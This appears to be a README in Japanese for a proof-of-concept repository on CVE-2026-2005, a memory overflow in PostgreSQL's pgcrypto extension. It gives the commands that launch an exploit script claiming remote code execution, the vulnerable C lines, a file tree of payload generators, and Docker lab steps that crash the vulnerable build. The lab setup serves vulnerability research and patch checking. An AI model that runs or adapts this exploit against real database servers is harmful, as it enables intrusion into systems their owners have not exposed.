git clone https://github.com/dinosn/cve-2026-2005.git
cd cve-2026-2005/lab
docker compose up -d pg-exploit
# postgresの初期化に約5秒待機
python3 ../poc/exploit.py --run cve-2026-2005-pg-exploit

// contrib/pgcrypto/pgp-pubdec.c — pgp_parse_pubenc_sesskey()
ctx->cipher_algo = *msg;
ctx->sess_key_len = msglen - 3;                       // 攻撃者が制御可能
memcpy(ctx->sess_key, msg + 1, ctx->sess_key_len);    // sess_keyはuint8[32]

├── README.md
├── poc/
│   ├── exploit.py          # 自己完結型エクスプロイト生成・実行ツール
│   ├── gen_exploit_v7.py   # 注釈付きペイロードビルダー
│   ├── gen_payload.py      # クラッシュ専用PoCジェネレーター（全オーバーフローサイズ）
│   ├── poc_big.sql         # 事前生成されたクラッシュPoC（SIGSEGV）
│   └── poc_minimal.sql     # 最小4バイトオーバーフローPoC
├── lab/
│   ├── docker-compose.yml  # 完全なラボ: 脆弱、修正済み、デバッグ、エクスプロイト
│   ├── Dockerfile.exploit  # リリースビルド + トリガースクリプト（RCEターゲット）
│   ├── Dockerfile.vuln     # 標準の脆弱ビルド（クラッシュデモ）
│   ├── Dockerfile.debug    # Cassertビルド（アサーションデモ）
│   ├── init.sql            # データベース初期化
│   └── setup.sh            # ラボセットアップヘルパー
├── reports/
│   ├── RCE-CHAIN.md        # 詳細な技術的エクスプロイト解説書
│   ├── REPORT.md           # 脆弱性分析レポート
│   └── TODO-FOR-RCE.md     # 開発ログ（完了済み）
├── screenshots/
│   ├── 01-target-verification.png
│   ├── 02-exploit-fire.png
│   ├── 03-rce-proof.png
│   └── 04-full-run.png
└── src/                    # 関連ソースコードの抜粋

# すべてのコンテナを起動
cd lab && docker compose up -d

# クラッシュデモ（標準ビルドでSIGSEGV）
docker exec cve-2026-2005-pg-vuln psql -U postgres -d lab -f /tmp/poc_big.sql
docker logs cve-2026-2005-pg-vuln 2>&1 | grep "signal 11"

# 修正済みビルド（正常に拒否）
docker exec cve-2026-2005-pg-fixed psql -U postgres -d lab -f /tmp/poc_big.sql
# ERROR: Public key too big

# デバッグビルド（ファイル:行番号付きのアサーション）
docker exec cve-2026-2005-pg-debug psql -U postgres -d lab -f /tmp/poc_big.sql
docker logs cve-2026-2005-pg-debug 2>&1 | grep "TRAP"